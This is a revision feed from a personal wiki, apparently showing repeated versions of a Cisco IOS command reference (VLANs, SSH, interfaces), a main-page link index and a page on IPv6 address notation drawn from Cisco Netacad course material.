<br />
Set the interface to a specific vlan<br />
switchport mode access ! disable trunking, default is switchport mode auto<br />
switchport access vlan 10<br />
<br />
Set an interface to trunk mode<br />
switchport trunk encapsulation dot1q ! switches off the legacy cisco trunking protocol, not needed on newer switches<br />
switchport mode trunk<br />
<br />
Change allowed vlans on trunk interface<br />
switchport trunk allowed vlan 10,20,33,99<br />
<br />
Set native vlan on a trunk interface<br />
switchport trunk native vlan 99<br />
<br />
Set an IPv4 address on the interface<br />
ip address 192.168.0.1 255.255.255.0<br />
<br />
Change interface state to "up"<br />
no shutdown<br />
<br />
<hr><br />
<br />
=====Ipv6 Interface Commands=====<br />
<hr><br />
Set an IPv6 address on the interface<br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
<br />
Set a link-local address on the interface<br />
ipv6 addr fe80::1 link-local<br />
<br />
Remove an IPv6 address on the interface<br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
<br />
Remove all IPv6 addresses on the interface<br />
no ipv6 address</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1037
Cisco Commands
2026-01-14T21:26:45Z
<p>50.220.241.211: /* Configure SSH */</p>
<hr />
<div><hr><br />
====Commands for cisco IOS devices (switches, routers, etc)====<br />
<hr><br />
<br />
====Enable ipv4 routing====<br />
This needs to be manually done sometimes on layer 3 switches<br />
ip routing<br />
<br />
====Enable ipv6 routing====<br />
This needs to be done on routers to enable ipv6 functionality<br />
ipv6 unicast-routing<br />
<br />
<br />
Show the entire mac address table (Lets you figure out what device is plugged into each switch port)<br />
show mac address-table<br />
<br />
Show OS and Device versions<br />
show version<br />
<br />
Show logged in users<br />
show users<br />
<br />
List files in current directory<br />
dir<br />
<br />
List files in nvram<br />
dir nvram:<br />
<br />
Copy command destinatons (we use running-config as an example source file)<br />
copy running-config [[cisco copy destinations]]<br />
<br />
Elevate to root user<br />
enable<br />
<br />
Add an encrypted password for the enable command<br />
enable secret ThisisaSecret<br />
<br />
Enter global configuration mode (You can use the <code>do</code> prefix to run regular commands from the config mode if you don't feel like running <code>exit</code> first)<br />
configure terminal<br />
<br />
Show startup config (the one stored in nvram for next boot)<br />
show startup-config<br />
<br />
Show running config (the one stored in ram and is currently in use)<br />
show running-config<br />
<br />
Show a specific interface's config in the running configuration. <br />
show run interface g0/0<br />
<br />
Filter through the running config (similar to grep on linux)<br />
show run | include {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
<br />
Copy the in-use config to the startup config so that it will be used on the next boot. There are two ways to shorten it below<br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
<br />
Apply weak encryption to all unencrypted passwords. This only changes what is displayed in the config file, any password typed through a network cable is still transmitted in plain text.<br />
service password-encryption<br />
<br />
Show IPv4 IP Address assigned to each interface<br />
show ip interface brief <br />
<br />
Show IPv6 IP Address assigned to each interface<br />
show ipv6 interface brief <br />
<br />
Show all routes<br />
show ip route<br />
<br />
Show vlans and interfaces assigned to them<br />
show vlan brief<br />
<br />
Show VLAN and related information about an interface<br />
show interface g0/1 switchport<br />
<br />
Show trunk interfaces<br />
show int trunk<br />
<br />
Clear mac address table (switches only)<br />
clear mac address-table<br />
<br />
Clear arp cache<br />
clear arp-cache<br />
<hr><br />
<br />
====Telnet/Remote Access Commands====<br />
<hr><br />
Remote into a connected device using telnet<br />
connect {Device Name}<br />
<br />
Show a list of hosts to connect to<br />
show hosts<br />
<br />
Show all connected telnet sessions<br />
show sessions<br />
<br />
Disconnect a telnet session<br />
disconnect {Device Name}<br />
<br />
Suspend the active telnet connection (Keyboard Shortcut)<br />
Ctrl+Shift+6 -> x<br />
<br />
<hr><br />
====Global configuration commands====<br />
<hr><br />
Disable default behavior of looking up unknown names/commands in DNS<br />
no ip domain-lookup<br />
<br />
Set a banner message<br />
banner motd MESSAGEHERE<br />
<br />
=====Configure SSH=====<br />
Set the domain name<br />
ip domain-name cisco.com<br />
<br />
Generate rsa keypair<br />
crypto key generate rsa<br />
<br />
Delete rsa keypair<br />
crypto key zeroize rsa<br />
<br />
Make a user account<br />
username admin secret ccna<br />
<br />
Assign a default gateway<br />
ip default-gateway 192.168.10.1<br />
<br />
Enable ssh on the VTY lines<br />
line vty 0 15<br />
transport input ssh<br />
login local<br />
exit<br />
<br />
Enable SSH v2<br />
ip ssh version 2<br />
<br />
<hr><br />
<br />
Change the machine's hostname (does not require a reboot)<br />
hostname<br />
<br />
Configure the console port (0)<br />
line con 0<br />
<br />
Configure vty interfaces 0 through 15<br />
line vty 0 15<br />
<br />
Configure the interface "vlan 1"<br />
interface vlan 1<br />
<br />
Configure the interface "fa0/1"<br />
interface fa0/1<br />
<br />
Configure the range of interfaces fa0/2 to fa0/3<br />
interface range fa0/2-3<br />
<br />
Enter vlan configuration mode<br />
vlan 1<br />
<br />
====Vlan Configuration Commands====<br />
Set vlan name<br />
name MyAwesomeVlan<br />
<br />
====Console or VTY line configuration commands====<br />
Add a password to console port access<br />
password itsasecret<br />
<br />
Force users to enter the password to login<br />
login<br />
<br />
<hr><br />
====Interface configuration commands====<br />
<hr><br />
Set the interface to a specific vlan (Alt)<br />
encapsulation dot1q 10<br />
<br />
Set the interface to a specific vlan<br />
switchport mode access ! disable trunking, default is switchport mode auto<br />
switchport access vlan 10<br />
<br />
Set an interface to trunk mode<br />
switchport trunk encapsulation dot1q ! switches off the legacy cisco trunking protocol, not needed on newer switches<br />
switchport mode trunk<br />
<br />
Change allowed vlans on trunk interface<br />
switchport trunk allowed vlan 10,20,33,99<br />
<br />
Set native vlan on a trunk interface<br />
switchport trunk native vlan 99<br />
<br />
Set an IPv4 address on the interface<br />
ip address 192.168.0.1 255.255.255.0<br />
<br />
Change interface state to "up"<br />
no shutdown<br />
<br />
<hr><br />
<br />
=====Ipv6 Interface Commands=====<br />
<hr><br />
Set an IPv6 address on the interface<br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
<br />
Set a link-local address on the interface<br />
ipv6 addr fe80::1 link-local<br />
<br />
Remove an IPv6 address on the interface<br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
<br />
Remove all IPv6 addresses on the interface<br />
no ipv6 address</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1036
Cisco Commands
2026-01-14T21:24:02Z
<p>50.220.241.211: /* Global configuration commands */</p>
<hr />
<div><hr><br />
====Commands for cisco IOS devices (switches, routers, etc)====<br />
<hr><br />
<br />
====Enable ipv4 routing====<br />
This needs to be manually done sometimes on layer 3 switches<br />
ip routing<br />
<br />
====Enable ipv6 routing====<br />
This needs to be done on routers to enable ipv6 functionality<br />
ipv6 unicast-routing<br />
<br />
<br />
Show the entire mac address table (Lets you figure out what device is plugged into each switch port)<br />
show mac address-table<br />
<br />
Show OS and Device versions<br />
show version<br />
<br />
Show logged in users<br />
show users<br />
<br />
List files in current directory<br />
dir<br />
<br />
List files in nvram<br />
dir nvram:<br />
<br />
Copy command destinatons (we use running-config as an example source file)<br />
copy running-config [[cisco copy destinations]]<br />
<br />
Elevate to root user<br />
enable<br />
<br />
Add an encrypted password for the enable command<br />
enable secret ThisisaSecret<br />
<br />
Enter global configuration mode (You can use the <code>do</code> prefix to run regular commands from the config mode if you don't feel like running <code>exit</code> first)<br />
configure terminal<br />
<br />
Show startup config (the one stored in nvram for next boot)<br />
show startup-config<br />
<br />
Show running config (the one stored in ram and is currently in use)<br />
show running-config<br />
<br />
Show a specific interface's config in the running configuration. <br />
show run interface g0/0<br />
<br />
Filter through the running config (similar to grep on linux)<br />
show run | include {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
<br />
Copy the in-use config to the startup config so that it will be used on the next boot. There are two ways to shorten it below<br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
<br />
Apply weak encryption to all unencrypted passwords. This only changes what is displayed in the config file, any password typed through a network cable is still transmitted in plain text.<br />
service password-encryption<br />
<br />
Show IPv4 IP Address assigned to each interface<br />
show ip interface brief <br />
<br />
Show IPv6 IP Address assigned to each interface<br />
show ipv6 interface brief <br />
<br />
Show all routes<br />
show ip route<br />
<br />
Show vlans and interfaces assigned to them<br />
show vlan brief<br />
<br />
Show VLAN and related information about an interface<br />
show interface g0/1 switchport<br />
<br />
Show trunk interfaces<br />
show int trunk<br />
<br />
Clear mac address table (switches only)<br />
clear mac address-table<br />
<br />
Clear arp cache<br />
clear arp-cache<br />
<hr><br />
<br />
====Telnet/Remote Access Commands====<br />
<hr><br />
Remote into a connected device using telnet<br />
connect {Device Name}<br />
<br />
Show a list of hosts to connect to<br />
show hosts<br />
<br />
Show all connected telnet sessions<br />
show sessions<br />
<br />
Disconnect a telnet session<br />
disconnect {Device Name}<br />
<br />
Suspend the active telnet connection (Keyboard Shortcut)<br />
Ctrl+Shift+6 -> x<br />
<br />
<hr><br />
====Global configuration commands====<br />
<hr><br />
Disable default behavior of looking up unknown names/commands in DNS<br />
no ip domain-lookup<br />
<br />
Set a banner message<br />
banner motd MESSAGEHERE<br />
<br />
=====Configure SSH=====<br />
Set the domain name<br />
ip domain-name cisco.com<br />
<br />
Generate rsa keypair<br />
crypto key generate rsa<br />
<br />
Delete rsa keypair<br />
crypto key zeroize rsa<br />
<br />
Make a user account<br />
username admin secret ccna<br />
<br />
Assign a default gateway<br />
ip default-gateway 192.168.10.1<br />
<br />
Change the machine's hostname (does not require a reboot)<br />
hostname<br />
<br />
Configure the console port (0)<br />
line con 0<br />
<br />
Configure vty interfaces 0 through 15<br />
line vty 0 15<br />
<br />
Configure the interface "vlan 1"<br />
interface vlan 1<br />
<br />
Configure the interface "fa0/1"<br />
interface fa0/1<br />
<br />
Configure the range of interfaces fa0/2 to fa0/3<br />
interface range fa0/2-3<br />
<br />
Enter vlan configuration mode<br />
vlan 1<br />
<br />
====Vlan Configuration Commands====<br />
Set vlan name<br />
name MyAwesomeVlan<br />
<br />
====Console or VTY line configuration commands====<br />
Add a password to console port access<br />
password itsasecret<br />
<br />
Force users to enter the password to login<br />
login<br />
<br />
<hr><br />
====Interface configuration commands====<br />
<hr><br />
Set the interface to a specific vlan (Alt)<br />
encapsulation dot1q 10<br />
<br />
Set the interface to a specific vlan<br />
switchport mode access ! disable trunking, default is switchport mode auto<br />
switchport access vlan 10<br />
<br />
Set an interface to trunk mode<br />
switchport trunk encapsulation dot1q ! switches off the legacy cisco trunking protocol, not needed on newer switches<br />
switchport mode trunk<br />
<br />
Change allowed vlans on trunk interface<br />
switchport trunk allowed vlan 10,20,33,99<br />
<br />
Set native vlan on a trunk interface<br />
switchport trunk native vlan 99<br />
<br />
Set an IPv4 address on the interface<br />
ip address 192.168.0.1 255.255.255.0<br />
<br />
Change interface state to "up"<br />
no shutdown<br />
<br />
<hr><br />
<br />
=====Ipv6 Interface Commands=====<br />
<hr><br />
Set an IPv6 address on the interface<br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
<br />
Set a link-local address on the interface<br />
ipv6 addr fe80::1 link-local<br />
<br />
Remove an IPv6 address on the interface<br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
<br />
Remove all IPv6 addresses on the interface<br />
no ipv6 address</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1035
Cisco Commands
2026-01-14T20:40:22Z
<p>50.220.241.211: /* Global configuration commands */</p>
<hr />
<div><hr><br />
====Commands for cisco IOS devices (switches, routers, etc)====<br />
<hr><br />
<br />
====Enable ipv4 routing====<br />
This needs to be manually done sometimes on layer 3 switches<br />
ip routing<br />
<br />
====Enable ipv6 routing====<br />
This needs to be done on routers to enable ipv6 functionality<br />
ipv6 unicast-routing<br />
<br />
<br />
Show the entire mac address table (Lets you figure out what device is plugged into each switch port)<br />
show mac address-table<br />
<br />
Show OS and Device versions<br />
show version<br />
<br />
Show logged in users<br />
show users<br />
<br />
List files in current directory<br />
dir<br />
<br />
List files in nvram<br />
dir nvram:<br />
<br />
Copy command destinatons (we use running-config as an example source file)<br />
copy running-config [[cisco copy destinations]]<br />
<br />
Elevate to root user<br />
enable<br />
<br />
Add an encrypted password for the enable command<br />
enable secret ThisisaSecret<br />
<br />
Enter global configuration mode (You can use the <code>do</code> prefix to run regular commands from the config mode if you don't feel like running <code>exit</code> first)<br />
configure terminal<br />
<br />
Show startup config (the one stored in nvram for next boot)<br />
show startup-config<br />
<br />
Show running config (the one stored in ram and is currently in use)<br />
show running-config<br />
<br />
Show a specific interface's config in the running configuration. <br />
show run interface g0/0<br />
<br />
Filter through the running config (similar to grep on linux)<br />
show run | include {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
<br />
Copy the in-use config to the startup config so that it will be used on the next boot. There are two ways to shorten it below<br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
<br />
Apply weak encryption to all unencrypted passwords. This only changes what is displayed in the config file, any password typed through a network cable is still transmitted in plain text.<br />
service password-encryption<br />
<br />
Show IPv4 IP Address assigned to each interface<br />
show ip interface brief <br />
<br />
Show IPv6 IP Address assigned to each interface<br />
show ipv6 interface brief <br />
<br />
Show all routes<br />
show ip route<br />
<br />
Show vlans and interfaces assigned to them<br />
show vlan brief<br />
<br />
Show VLAN and related information about an interface<br />
show interface g0/1 switchport<br />
<br />
Show trunk interfaces<br />
show int trunk<br />
<br />
Clear mac address table (switches only)<br />
clear mac address-table<br />
<br />
Clear arp cache<br />
clear arp-cache<br />
<hr><br />
<br />
====Telnet/Remote Access Commands====<br />
<hr><br />
Remote into a connected device using telnet<br />
connect {Device Name}<br />
<br />
Show a list of hosts to connect to<br />
show hosts<br />
<br />
Show all connected telnet sessions<br />
show sessions<br />
<br />
Disconnect a telnet session<br />
disconnect {Device Name}<br />
<br />
Suspend the active telnet connection (Keyboard Shortcut)<br />
Ctrl+Shift+6 -> x<br />
<br />
<hr><br />
====Global configuration commands====<br />
<hr><br />
Disable default behavior of looking up unknown names/commands in DNS<br />
no ip domain-lookup<br />
<br />
Set a banner message<br />
banner motd MESSAGEHERE<br />
<br />
Set the domain name<br />
ip domain-name cisco.com<br />
<br />
Assign a default gateway<br />
ip default-gateway 192.168.10.1<br />
<br />
Change the machine's hostname (does not require a reboot)<br />
hostname<br />
<br />
Configure the console port (0)<br />
line con 0<br />
<br />
Configure vty interfaces 0 through 15<br />
line vty 0 15<br />
<br />
Configure the interface "vlan 1"<br />
interface vlan 1<br />
<br />
Configure the interface "fa0/1"<br />
interface fa0/1<br />
<br />
Configure the range of interfaces fa0/2 to fa0/3<br />
interface range fa0/2-3<br />
<br />
Enter vlan configuration mode<br />
vlan 1<br />
<br />
====Vlan Configuration Commands====<br />
Set vlan name<br />
name MyAwesomeVlan<br />
<br />
====Console or VTY line configuration commands====<br />
Add a password to console port access<br />
password itsasecret<br />
<br />
Force users to enter the password to login<br />
login<br />
<br />
<hr><br />
====Interface configuration commands====<br />
<hr><br />
Set the interface to a specific vlan (Alt)<br />
encapsulation dot1q 10<br />
<br />
Set the interface to a specific vlan<br />
switchport mode access ! disable trunking, default is switchport mode auto<br />
switchport access vlan 10<br />
<br />
Set an interface to trunk mode<br />
switchport trunk encapsulation dot1q ! switches off the legacy cisco trunking protocol, not needed on newer switches<br />
switchport mode trunk<br />
<br />
Change allowed vlans on trunk interface<br />
switchport trunk allowed vlan 10,20,33,99<br />
<br />
Set native vlan on a trunk interface<br />
switchport trunk native vlan 99<br />
<br />
Set an IPv4 address on the interface<br />
ip address 192.168.0.1 255.255.255.0<br />
<br />
Change interface state to "up"<br />
no shutdown<br />
<br />
<hr><br />
<br />
=====Ipv6 Interface Commands=====<br />
<hr><br />
Set an IPv6 address on the interface<br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
<br />
Set a link-local address on the interface<br />
ipv6 addr fe80::1 link-local<br />
<br />
Remove an IPv6 address on the interface<br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
<br />
Remove all IPv6 addresses on the interface<br />
no ipv6 address</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Main_Page&diff=1025
Main Page
2026-01-12T19:52:08Z
<p>50.220.241.211: </p>
<hr />
<div><strong>Welcome to Lucca's Knowledgebase</strong><br />
<hr><br />
<br />
Windows: |<br />
[[Commands]] | [[Win+R Shortcuts]] | [[Windows Keyboard Shortcuts]] | [[Remote Desktop Setup]] | [[End of Life]] | [[Make CMD Open Faster on Windows 11]] | [[Hyper-V on Windows Home]] | [[Domain Setup from Scratch on Server Core]] | [[Example User onboarding & offboarding Scripts for 365]] | [[Keyboard Navigation Scripts]] | [[Registry Tweaks/Fixes]]<br />
<br />
<hr><br />
<br />
Linux: | [[Distro Download Links]] | [[Linux Commands|Commands]] | [[Docker-Compose]] | [[Bashrc/Zshrc Setup]] | [https://arachnoid.com/SecureShell/index.html Arachnoid.com: How to use SSH] [https://kirbfeels.gianluccapirovano.com/library/ArchivalPurposes/wiki-files/How%20to%20Use%20Secure%20Shell.pdf pdf] | [[Libvirt Setup]] | [[VFIO GPU Passthrough Setup]] | [[VFIO Anti-Cheat Bypass Tools]] | [[Xubuntu Mac Conversion Guide]] | [[Ungoogled Chromium Debian]] | [[Docker Installation on Debian]] | [[Infared Reciever w/ Alpine on the Bulldozer Datto]] | [[Numpad hotkeys on linux]] | [[Split a monitor in two]] | [[Make a udev rule]] | [[Type Unicode Characters]] | [[Screen Recording Options]] | [[Microsoft Authenticator]] | [https://www.debugpoint.com/kvm-share-folder-windows-guest/ Setup A Share Folder between a Linux host and Windows Guest] [https://kirbfeels.gianluccapirovano.com/library/ArchivalPurposes/wiki-files/Share%20Folder%20Between%20Windows%20Guest%20and%20Linux%20Host%20in%20KVM%20using%20virtiofs.pdf pdf] | [[Perform actions based on notification content]]<br />
<br />
<hr><br />
<br />
MacOS: | [[OSX Commands]]<br />
<br />
<hr><br />
<br />
Javascript: | [[VM Userscript to disable website right-click and copy-blocking]]<br />
<br />
<hr><br />
<br />
Python: | [[Math Operators]] | [[Python Examples|Examples]]<br />
<br />
<hr><br />
<br />
Cisco: | [[Cisco Commands|Commands]] | [[Cisco Keyboard Shortcuts|Keyboard Shortcuts]] | [[Example configuration files]] | [[Ethernet: Straight-through VS Crossover Cable]] | [https://en.wikipedia.org/wiki/Path_MTU_Discovery Path MTU Discovery] | [[ipv6]] | [[802.1q]] (Vlan Tagging) |<br />
<br />
<hr><br />
<br />
Robotics: | [[Nao Robot]]<br />
<br />
<hr><br />
<br />
Retro Tech: |<br />
[[Analog Video Articles]] | [[Modeline Generators]] | [https://github.com/antonioginer/ATOM-15 ATOM-15: AMD/ATI Card 15khz bios] | [https://luigiblood.tumblr.com/post/711882982704726016/everything-datamined-about-gba-nso-so-far Deep Dive into Nintendo Switch NSO GBA Link Cable Emulation] [https://kirbfeels.gianluccapirovano.com/library/ArchivalPurposes/wiki-files/Yakumono's%20Blog_%20Everything%20datamined%20about%20GB_A%20NSO%20so%20far..pdf pdf]<br />
<br />
<hr><br />
<br />
Digital Archives: |<br />
[https://archive.org archive.org] | [https://kirbfeels.gianluccapirovano.com/library/ArchivalPurposes kirb.feels archive] [https://en.wikipedia.org/wiki/Library_Genesis Library Genesis]<br />
<br />
<hr><br />
<br />
Open Source Intelligence: | <br />
[https://osintframework.com/ OsINT Framework] | [https://www.usphonebook.com/ USPhoneBook]<br />
<br />
<hr><br />
<br />
[https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/YdGUYXws5mD2fxFKxg.webp ☕Happy Monday =D] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/giphy.webp ☕Bom Dia =D] [https://kirbfeels.luccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/tenor.gif ☕??????]<br />
<br />
<hr></div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Main_Page&diff=988
Main Page
2025-11-17T20:39:00Z
<p>50.220.241.211: </p>
<hr />
<div><strong>Welcome to Lucca's Knowledgebase</strong><br />
<hr><br />
<br />
Windows: |<br />
[[Commands]] | [[Win+R Shortcuts]] | [[Windows Keyboard Shortcuts]] | [[Remote Desktop Setup]] | [[End of Life]] | [[Make CMD Open Faster on Windows 11]] | [[Hyper-V on Windows Home]] | [[Domain Setup from Scratch on Server Core]] | [[Example User onboarding & offboarding Scripts for 365]] | [[Keyboard Navigation Scripts]] | [[Registry Tweaks/Fixes]]<br />
<br />
<hr><br />
<br />
Linux: | [[Distro Download Links]] | [[Linux Commands|Commands]] | [[Docker-Compose]] | [[Bashrc/Zshrc Setup]] | [https://arachnoid.com/SecureShell/index.html Arachnoid.com: How to use SSH] [https://kirbfeels.gianluccapirovano.com/library/ArchivalPurposes/wiki-files/How%20to%20Use%20Secure%20Shell.pdf pdf] | [[Libvirt Setup]] | [[VFIO GPU Passthrough Setup]] | [[VFIO Anti-Cheat Bypass Tools]] | [[Xubuntu Mac Conversion Guide]] | [[Ungoogled Chromium Debian]] | [[Docker Installation on Debian]] | [[Infared Reciever w/ Alpine on the Bulldozer Datto]] | [[Numpad hotkeys on linux]] | [[Split a monitor in two]] | [[Make a udev rule]] | [[Type Unicode Characters]] | [[Screen Recording Options]] | [[Microsoft Authenticator]] | [https://www.debugpoint.com/kvm-share-folder-windows-guest/ Setup A Share Folder between a Linux host and Windows Guest] [https://kirbfeels.gianluccapirovano.com/library/ArchivalPurposes/wiki-files/Share%20Folder%20Between%20Windows%20Guest%20and%20Linux%20Host%20in%20KVM%20using%20virtiofs.pdf pdf] | [[Perform actions based on notification content]]<br />
<br />
<hr><br />
<br />
MacOS: | [[OSX Commands]]<br />
<br />
<hr><br />
<br />
Javascript: | [[VM Userscript to disable website right-click and copy-blocking]]<br />
<br />
<hr><br />
<br />
Python: | [[Math Operators]] | [[Python Examples|Examples]]<br />
<br />
<hr><br />
<br />
Cisco: | [[Cisco Commands|Commands]] | [[Cisco Keyboard Shortcuts|Keyboard Shortcuts]] | [[Example configuration files]] | [[Ethernet: Straight-through VS Crossover Cable]] | [https://en.wikipedia.org/wiki/Path_MTU_Discovery Path MTU Discovery] | [[ipv6]]<br />
<br />
<hr><br />
<br />
Robotics: | [[Nao Robot]]<br />
<br />
<hr><br />
<br />
Retro Tech: |<br />
[[Analog Video Articles]] | [[Modeline Generators]] | [https://github.com/antonioginer/ATOM-15 ATOM-15: AMD/ATI Card 15khz bios] | [https://luigiblood.tumblr.com/post/711882982704726016/everything-datamined-about-gba-nso-so-far Deep Dive into Nintendo Switch NSO GBA Link Cable Emulation] [https://kirbfeels.gianluccapirovano.com/library/ArchivalPurposes/wiki-files/Yakumono's%20Blog_%20Everything%20datamined%20about%20GB_A%20NSO%20so%20far..pdf pdf]<br />
<br />
<hr><br />
<br />
Digital Archives: |<br />
[https://archive.org archive.org] | [https://kirbfeels.gianluccapirovano.com/library/ArchivalPurposes kirb.feels archive] [https://en.wikipedia.org/wiki/Library_Genesis Library Genesis]<br />
<br />
<hr><br />
<br />
Open Source Intelligence: | <br />
[https://osintframework.com/ OsINT Framework] | [https://www.usphonebook.com/ USPhoneBook]<br />
<br />
<hr><br />
<br />
[https://kirbfeels.gianluccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/YdGUYXws5mD2fxFKxg.webp ☕Happy Monday =D] [https://kirbfeels.gianluccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/giphy.webp ☕Bom Dia =D] [https://kirbfeels.gianluccapirovano.com/library/ArchivalPurposes/wiki-files/happy%20monday/tenor.gif ☕??????]<br />
<br />
<hr></div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Ipv6&diff=979
Ipv6
2025-11-03T18:45:12Z
<p>50.220.241.211: </p>
<hr />
<div>Here is a pdf that offers a great explanation of ipv6, pulled from a cisco netacad textbook: [https://kirbfeels.gianluccapirovano.com/library/ArchivalPurposes/wiki-files/ipv6%20shortcuts.pdf pdf]<br />
<br />
<br />
In order for ipv6 to work on a cisco router, you may need to enable ipv6 by typing <code>ipv6 unicast routing</code> [[Cisco_Commands#Enable ipv6 routing]]<br />
<br />
Preferred Format<br />
<br />
The previous figure also shows that the preferred format for writing an IPv6 address is <code>x:x:x:x:x:x:x:x</code>, with each <code>x</code> consisting of four hexadecimal values. The term octet refers to the eight bits of an IPv4 address. In IPv6, a hextet is the unofficial term used to refer to a segment of 16 bits, or four hexadecimal values. Each <code>x</code> is a single hextet which is 16 bits or four hexadecimal digits.<br />
<br />
Preferred format means that you write IPv6 address using all 32 hexadecimal digits. It does not necessarily mean that it is the ideal method for representing the IPv6 address. In this module, you will see two rules that help to reduce the number of digits needed to represent an IPv6 address.<br />
<br />
These are examples of IPv6 addresses in the preferred format.<br />
<br />
2001 : 0db8 : 0000 : 1111 : 0000 : 0000 : 0000: 0200 <br />
2001 : 0db8 : 0000 : 00a3 : abcd : 0000 : 0000: 1234 <br />
2001 : 0db8 : 000a : 0001 : c012 : 9aff : fe9a: 19ac <br />
2001 : 0db8 : aaaa : 0001 : 0000 : 0000 : 0000: 0000 <br />
fe80 : 0000 : 0000 : 0000 : 0123 : 4567 : 89ab: cdef <br />
fe80 : 0000 : 0000 : 0000 : 0000 : 0000 : 0000: 0001 <br />
fe80 : 0000 : 0000 : 0000 : c012 : 9aff : fe9a: 19ac <br />
fe80 : 0000 : 0000 : 0000 : 0123 : 4567 : 89ab: cdef <br />
0000 : 0000 : 0000 : 0000 : 0000 : 0000 : 0000: 0001 <br />
0000 : 0000 : 0000 : 0000 : 0000 : 0000 : 0000: 0000 <br />
<br />
The first rule to help reduce the notation of IPv6 addresses is to omit any leading 0s (zeros) in any hextet. Here are four examples of ways to omit leading zeros:<br />
<br />
01ab can be represented as 1ab<br />
09f0 can be represented as 9f0<br />
0a00 can be represented as a00<br />
00ab can be represented as ab<br />
<br />
This rule only applies to leading 0s, NOT to trailing 0s, otherwise the address would be ambiguous. For example, the hextet <code>abc</code> could be either <code>0abc</code> or <code>abc0</code>, but these do not represent the same value.<br />
<br />
<br />
The second rule to help reduce the notation of IPv6 addresses is that a double colon (::) can replace any single, contiguous string of one or more 16-bit hextets consisting of all zeros. For example, <code>2001:db8:cafe:1:0:0:0:1</code> (leading 0s omitted) could be represented as <code>2001:db8:cafe:1::1.</code> The double colon (::) is used in place of the three all-0 hextets (<code>0:0:0</code>).<br />
<br />
The double colon (::) can only be used once within an address, otherwise there would be more than one possible resulting address. When used with the omitting leading 0s technique, the notation of IPv6 address can often be greatly reduced. This is commonly known as the compressed format.<br />
<br />
Here is an example of the incorrect use of the double colon: <code>2001:db8::abcd::1234</code>.<br />
<br />
The double colon is used twice in the example above. Here are the possible expansions of this incorrect compressed format address:<br />
<br />
2001:db8::abcd:0000:0000:1234<br />
2001:db8::abcd:0000:0000:0000:1234<br />
2001:db8:0000:abcd::1234<br />
2001:db8:0000:0000:abcd::1234<br />
<br />
If an address has more than one contiguous string of all-0 hextets, best practice is to use the double colon (::) on the longest string. If the strings are equal, the first string should use the double colon (::).<br />
Omitting Leading 0s and All 0 Segments<br />
<br />
<br />
<br />
<hr><br />
Sources<br />
<hr><br />
Cisco Netacad CCNA 1 module 12: Ipv6 Addressing</div>
50.220.241.211